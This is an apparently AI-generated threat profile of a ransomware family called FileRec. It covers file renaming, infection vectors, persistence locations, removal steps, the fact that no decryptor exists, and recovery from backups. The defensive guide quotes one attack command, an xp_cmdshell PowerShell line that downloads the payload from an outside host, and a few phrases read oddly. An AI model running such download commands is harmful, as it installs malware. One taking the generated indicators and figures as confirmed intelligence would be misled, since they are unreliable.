filerec

[Content by Gemini 2.5]

Technical Breakdown

1. File Extension & Renaming Patterns

  • Confirmation of File Extension:
    …adds the literal suffix “.filerec” (lower-case, 7 bytes) to every encrypted file.
    Example: Invoice.xlsx → Invoice.xlsx.filerec
  • Renaming Convention:
  • The original file name and internal extension are kept intact; only “.filerec” is appended.
  • No e-mail address, victim-ID, or random hex string is inserted into the name (a quick way to distinguish it from Dharma/Phobos-style families).

2. Detection & Outbreak Timeline

  • First public submission: 2023-11-14 (multiple uploads to ID-Ransomware & VirusTotal from North-American SMBs).
  • Wider attention: 2023-12 – early-2024 clusters reported in Western-Europe and LATAM, mostly hitting un-patched Windows 10/Server 2016 machines.
  • Still active (spring-2024): no large-scale dip observed; distribution waves occur every 2-3 weeks.

3. Primary Attack Vectors

  • Phishing e-mail with ISO / ZIP / OneNote attachment
    – Lures imitate “Voicemail”, “DHL Invoice”, “CAD drawing”.
    – ISO contains a single .NET dropper (doc-loader.exe) that fetches the 2-stage payload.
  • Weak RDP / RDP-brute (TCP/3389)
    – Observed in ≈ 30 % of incidents; attacker uses mimikatz → CS → manual filerec.bin deployment.
  • MSSQL brute-force → xp_cmdshell
    – Small but growing vector; once “sa” cracked the adversary issues xp_cmdshell “powershell -c iwr hxxp://t.omg[.]sl/filerec.bin -o c:\w.exe”.

No exploitation of 0-day or wormable component has been seen; human-operated intrusion is the norm.

Remediation & Recovery Strategies

1. Prevention (harden today – no cost items first)

☐ Patch OS + 3rd-party apps (especially Outlook, OneNote, .NET, MSSQL).
☐ Disable or restrict RDP; if business-critical:
– put behind VPN + MFA, set “Network-Level-Authentication=Required”, allow-list IPs.
☐ Strip ISO / ZIP / OneNote attachments at the mail-gateway / Windows ASR rule “Block Office apps creating executable content”.
☐ Apply ASR rules:
– “Block credential stealing from LSASS”
– “Block process creations originating from PSExec & WMI commands”
☐ EDR/AV with behaviour engine (Microsoft Defender w/ cloud-block, CrowdStrike, SentinelOne, etc.) and protected zone forVolume-Shadow-Copies.
☐ MFA on every privileged account; segmented backups (offline or immutable – Veeam Hardened / WORM S3 / LTO).
☐ Deploy free GPO “Computer Configuration\Policies\Administrative Templates\System\Prevent users from…\Disable ISO mounting” if unneeded.

2. Removal (clean-up walk-through)

  1. Isolate the machine from network (unplug / disable Wi-Fi).
  2. Collect volatile artefacts before wipe if forensics is planned (RAM dump, $MFT, EventLogs).
  3. Boot into Safe-Mode-with-Networking or use Windows-RE “Command prompt” if system is unstable.
  4. Run a reputable AV/EDR rescue scan (Windows Defender Offline, ESET SysRescue, Kaspersky KVRT) – it detects Ransom:MSIL/FileRec!MTB or Trojan.MSIL.FILECRYPT.
  5. Delete the persistence items that are usually present:
  • C:\ProgramData\Oracle\Java\filerec.bin (main)
  • HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\filerec
  • Scheduled-task “OracleJavaUpdateFilerec”
  1. Remove lateral-movement tools found in %TEMP% (Cobalt-Strike beacons, PD, Rubeus) – most AV engines will flag them automatically.
  2. Reset all local passwords / force log-out of every RDP session; revoke AD-Kerberos tickets with klist purge.
  3. Re-image the box or run sfc /scannow followed by a clean pillar-“gold-image” restore if available.
  4. Only re-connect to production LAN after AV console gives “no threats” and EDR heartbeat returns clean for ≥ 24 h.

3. File Decryption & Recovery

  • Decryptable? – NO (as of April-2024).
    FileRec is written in .NET, uses
    – AES-256 in CBC mode (random IV per file),
    – RSA-2048 public key (embedded) to encrypt the session key;
    Private key is never on the victim machine. Analysts have confirmed no flaws in the cryptographic implementation; therefore universal decryptor does NOT exist.
  • Recovery options:
    – Restore from offline / cloud backups.
    – Check Volume-Shadow-Copies: many human-operated ops forget to delete them; run vssadmin list shadows or use ShadowExplorer.
    – Windows File-History or 3rd-party sync cache (OneDrive, Dropbox “rewind”).
    – Recycle-bin / file-carving only helps for “partly encrypted” docs (< 2 MB files are fully encrypted; larger files have the first 1 MB + 64 byte footer encrypted, making carving hard).
  • No publicly known “flaw-day” exploit or leaked master-key so far – treat any YouTube/telegram “decryptor” advertised for FileRec as scam.

4. Other Critical Information

  • Unique traits – distinguishes FileRec from STOP/DJVU, Dharma, or Phobos:
    – No ransom note in every folder; only one file +README-FILEREC+.txt dropped on the desktop & public profile.
    – Contains a TOX-ID (tox:3D…) and one ProtonMail address – actors prefer TOX.
    – Send victim-id (first 8 bytes of the RSA-encrypted blob written to each file footer) – this ID is needed when negotiating.
    – Self-deletes after encryption; no built-in data-exfil (no double-extortion blog), but in observed intrusions attackers separately archive \Users & \Shares with Rclone before triggering the payload, so presume leak.
  • Ransom demand: historically $1,800–$6,000 in BTC; negotiator reports indicate −15 % discount offered within first 72 h.
  • No legal entity or critical-infrastructure attribution; clustered under “UN419” (continuous UNC) by some vendors – overlaps with IcedID → Cobalt-Strike → FileRec kill-chain.
  • Broader impact:
    – Disproportionate disruption to small engineering & legal firms (autocad, PST, QB-files encrypted).
    – Down-time averages 6 business-days when no offline backup exists (according to incident-response firms).

Bottom line: FileRec is not worm-like, but it is 100 % file-destroying once executed. Backups—and the controls that keep those backups untouchable—remain the only reliable “decryptor” today.